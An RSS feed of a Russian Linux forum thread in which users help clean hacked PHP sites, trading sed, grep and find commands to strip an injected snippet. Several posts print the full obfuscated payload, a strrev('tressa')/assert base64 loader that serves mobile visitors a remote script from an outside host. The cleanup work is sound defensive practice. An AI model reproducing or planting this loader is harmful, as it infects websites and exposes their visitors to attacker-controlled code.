<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title><![CDATA[Linux Forum &mdash; Поиск и замена сложных строк]]></title>
		<link>https://linuxforum.ru/viewtopic.php?id=25459</link>
		<atom:link href="https://linuxforum.ru/extern.php?action=feed&amp;tid=25459&amp;type=rss" rel="self" type="application/rss+xml" />
		<description><![CDATA[Недавние сообщения в теме «Поиск и замена сложных строк».]]></description>
		<lastBuildDate>Sat, 08 Dec 2012 04:33:44 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313323#p313323</link>
			<description><![CDATA[<div class="quotebox"><cite>Rassol2 пишет:</cite><blockquote><p>Хотя нет, что то с сайтом доктора.</p></blockquote></div><p>Кодировка KOI8-R.</p>]]></description>
			<author><![CDATA[null@example.com (verg)]]></author>
			<pubDate>Sat, 08 Dec 2012 04:33:44 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313323#p313323</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313321#p313321</link>
			<description><![CDATA[<div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?</p></blockquote></div><p>1) пример в студию...<br />2) не хватает скобки в конце...</p>]]></description>
			<author><![CDATA[null@example.com (Fat-Zer)]]></author>
			<pubDate>Sat, 08 Dec 2012 02:28:40 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313321#p313321</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313303#p313303</link>
			<description><![CDATA[<div class="quotebox"><cite>Fat-Zer пишет:</cite><blockquote><p>alexander@goblin /tmp $ </p><div class="codebox"><pre><code>cat ./s.sed 
#!/bin/sed -f /&lt;?php/{ 
N 
N 
s!^&lt;?php\n\$_ = strrev(&#039;tressa&#039;); @\$_(&quot;e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050&#039;aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9&#039;\\051\\051\\073&quot;);\n?&gt;$!// here was bad evil virus!</code></pre></div></blockquote></div><p>Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?</p>]]></description>
			<author><![CDATA[null@example.com (sibero)]]></author>
			<pubDate>Fri, 07 Dec 2012 20:29:38 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313303#p313303</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313246#p313246</link>
			<description><![CDATA[<div class="quotebox"><cite>moshell пишет:</cite><blockquote><p>sibero пишет:</p><p>&nbsp; &nbsp; Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).</p><p>sibero пишет:</p><p>&nbsp; &nbsp; Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.</p><p>ну ты и флудерас</p></blockquote></div><p> Хотелось более универсальное решение сделать, изначально я не хотел решать задачу таким способом. Решения которые предложили Lupo Alberto и Fat-Zer, мне нравятся гораздо больше.</p>]]></description>
			<author><![CDATA[null@example.com (sibero)]]></author>
			<pubDate>Fri, 07 Dec 2012 16:24:42 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313246#p313246</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313245#p313245</link>
			<description><![CDATA[<div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).</p></blockquote></div><div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.</p></blockquote></div><p>ну ты и флудерас</p>]]></description>
			<author><![CDATA[null@example.com (moshell)]]></author>
			<pubDate>Fri, 07 Dec 2012 16:14:21 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313245#p313245</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313238#p313238</link>
			<description><![CDATA[<div class="quotebox"><cite>Fat-Zer пишет:</cite><blockquote><p>ну вы тут и нафлудили... всё же достаточно просто:</p></blockquote></div><p>Спасибо вам за помощь, разобрался как применить. Сделал <br /></p><div class="codebox"><pre><code>sed -i -f s.sed script.php</code></pre></div><p>в s.sed поместил сигнатуру.</p>]]></description>
			<author><![CDATA[null@example.com (sibero)]]></author>
			<pubDate>Fri, 07 Dec 2012 14:56:58 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313238#p313238</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313237#p313237</link>
			<description><![CDATA[<div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>К сожалению, не понял как применить ваше решение.</p></blockquote></div><p>парсить всё это по такому шаблону:<br />alexander@goblin /tmp $ cat ./s.sed<br />&lt;код sed скрипта&gt;<br />alexander@goblin /tmp $ head f<br />&lt;показал, что было до применения&gt;<br />alexander@goblin /tmp $ ./s.sed f | head<br />&lt;показал, как оно работает и что получается после&gt;</p>]]></description>
			<author><![CDATA[null@example.com (Fat-Zer)]]></author>
			<pubDate>Fri, 07 Dec 2012 14:54:47 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313237#p313237</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313235#p313235</link>
			<description><![CDATA[<div class="quotebox"><cite>Fat-Zer пишет:</cite><blockquote><p>ну вы тут и нафлудили... всё же достаточно просто:</p></blockquote></div><p>К сожалению, не понял как применить ваше решение. </p><div class="quotebox"><cite>Fat-Zer пишет:</cite><blockquote><p>обычно после этого выкладывают свой нерабочий вариант...</p></blockquote></div><p>Учту, вариантов было много, в основном эксперименты с sed.</p><div class="quotebox"><cite>Lupo Alberto пишет:</cite><blockquote><p>Ссылка в тему »</p></blockquote></div><p>Очень полезная статья, спасибо. </p><div class="quotebox"><cite>neogotlic пишет:</cite><blockquote><p>А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.</p></blockquote></div><p>Оперой перестал пользоваться, как только закончилось время dialup. Сайты взломали не у меня, я просто помогаю в удалении заразы.&nbsp; </p><br /><br /><br /><p>Пока искал решение, более опытный коллега решил задачу проще. </p><p>Находим зараженные скрипты и записываем список в фаил<br /></p><div class="codebox"><pre><code>find ./ -type f -name &quot;*.php&quot; -print | xargs grep -l -e &quot;$_ = strrev(&#039;tressa&#039;)&quot; &gt; list</code></pre></div><p>Удаляем код вируса:<br /></p><div class="codebox"><pre><code>for i in `cat list`; do sed -i &#039;1,3d&#039; $i; done</code></pre></div><p>Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.</p>]]></description>
			<author><![CDATA[null@example.com (sibero)]]></author>
			<pubDate>Fri, 07 Dec 2012 14:40:35 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313235#p313235</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=313033#p313033</link>
			<description><![CDATA[<p>А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.</p>]]></description>
			<author><![CDATA[null@example.com (neogotlic)]]></author>
			<pubDate>Thu, 06 Dec 2012 13:12:07 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=313033#p313033</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312973#p312973</link>
			<description><![CDATA[<div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.</p></blockquote></div><p><a href="http://blog.sjinks.pro/security/563-vulnerability-in-simple-machines-forum/">Ссылка в тему »</a><br /></p><div class="quotebox"><blockquote><p>Конструкция <em>(rm file; something &gt; file) &lt; file</em> — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).</p></blockquote></div>]]></description>
			<author><![CDATA[null@example.com (Lupo Alberto)]]></author>
			<pubDate>Thu, 06 Dec 2012 05:22:31 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312973#p312973</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312970#p312970</link>
			<description><![CDATA[<p>ну вот и Фат пришел)<br />доброе утро!</p><p>а мы пожалуй спать. всю ночь пить, петь караоке, да еще тут задачи решать, подзадротел-подзадротел..</p>]]></description>
			<author><![CDATA[null@example.com (moshell)]]></author>
			<pubDate>Thu, 06 Dec 2012 03:47:11 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312970#p312970</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312969#p312969</link>
			<description><![CDATA[<p>ну вы тут и нафлудили... всё же достаточно просто:<br /></p><div class="codebox"><pre><code>alexander@goblin /tmp $ cat ./s.sed
#!/bin/sed -f
/&lt;?php/{
        N
        N
        s!^&lt;?php\n\$_ = strrev(&#039;tressa&#039;); @\$_(&quot;e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050&#039;aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9&#039;\\051\\051\\073&quot;);\n?&gt;$!// here was bad evil virus!
}
alexander@goblin /tmp $ head f
&lt;?php
$_ = strrev(&#039;tressa&#039;); @$_(&quot;e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050&#039;aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9&#039;\051\051\073&quot;);
?&gt;
&lt;?php

/**
 * Override of theme_breadcrumb().
 */
function garland_breadcrumb($variables) {
  $breadcrumb = $variables[&#039;breadcrumb&#039;];
alexander@goblin /tmp $ ./s.sed f |head
// here was bad evil virus
&lt;?php

/**
 * Override of theme_breadcrumb().
 */
function garland_breadcrumb($variables) {
  $breadcrumb = $variables[&#039;breadcrumb&#039;];

  if (!empty($breadcrumb)) {</code></pre></div><div class="quotebox"><cite>sibero пишет:</cite><blockquote><p>Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.</p></blockquote></div><p>обычно после этого выкладывают свой нерабочий вариант...</p><div class="quotebox"><cite>moshell пишет:</cite><blockquote><p>первый раз слышу такое.. 99,5почему не 99,9?сомневаешься?)</p></blockquote></div><p>в 0,4999 случаях на sed&#039;е пытаются калькулятор или тетрис написать... это возможно, но рука сама тянется к виску...</p>]]></description>
			<author><![CDATA[null@example.com (Fat-Zer)]]></author>
			<pubDate>Thu, 06 Dec 2012 03:01:55 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312969#p312969</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312967#p312967</link>
			<description><![CDATA[<p>эх. Дока не хватает. в пару строк решил бы задачу</p>]]></description>
			<author><![CDATA[null@example.com (moshell)]]></author>
			<pubDate>Thu, 06 Dec 2012 01:58:51 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312967#p312967</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312966#p312966</link>
			<description><![CDATA[<div class="quotebox"><cite>moshell пишет:</cite><blockquote><p>Дружище, тебе скрипт в любом случае писать. либо временные переменные вводить либо еще чего.<br />другой вопрос, если ты знаком со скриптами bash то думаю для тебя это не проблема.<br />или зарплату делить будем?)))) [шучу]</p></blockquote></div><p>На bash по немногу пишу, но с данной задачей справиться не получилось. Продолжу копать дальше, за советы, ещё раз, спасибо.</p>]]></description>
			<author><![CDATA[null@example.com (sibero)]]></author>
			<pubDate>Thu, 06 Dec 2012 01:43:25 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312966#p312966</guid>
		</item>
		<item>
			<title><![CDATA[Re: Поиск и замена сложных строк]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=312965#p312965</link>
			<description><![CDATA[<div class="quotebox"><cite>sibero пишет:</cite><blockquote><div class="quotebox"><cite>moshell пишет:</cite><blockquote><p>не понял. у тебя код вредный в одной строке<br />grep -v tressa<br />отсечет вредный код.</p></blockquote></div><p>Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.</p></blockquote></div><p>а что тебе мешает вывод запихать в переменную?</p>]]></description>
			<author><![CDATA[null@example.com (moshell)]]></author>
			<pubDate>Thu, 06 Dec 2012 01:42:03 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=312965#p312965</guid>
		</item>
	</channel>
</rss>
